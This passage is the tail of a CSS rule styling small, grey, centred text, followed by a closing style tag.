  font-size: 11px;
  color: #bbb;
  text-align: center;
  margin: 0;
  line-height: 1.5;
}
</style>